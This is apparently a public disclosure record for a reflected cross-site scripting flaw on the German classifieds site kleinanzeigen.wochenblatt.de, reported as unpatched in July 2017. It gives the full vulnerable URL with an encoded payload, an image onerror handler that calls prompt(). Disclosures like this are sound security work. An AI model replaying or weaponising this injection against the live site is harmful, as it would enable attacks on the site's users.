kleinanzeigen.wochenblatt.de XSS vulnerability

Vulnerable URL: http://kleinanzeigen.wochenblatt.de/40/0/1/result?sc%5Buid%5D=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=14=9 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...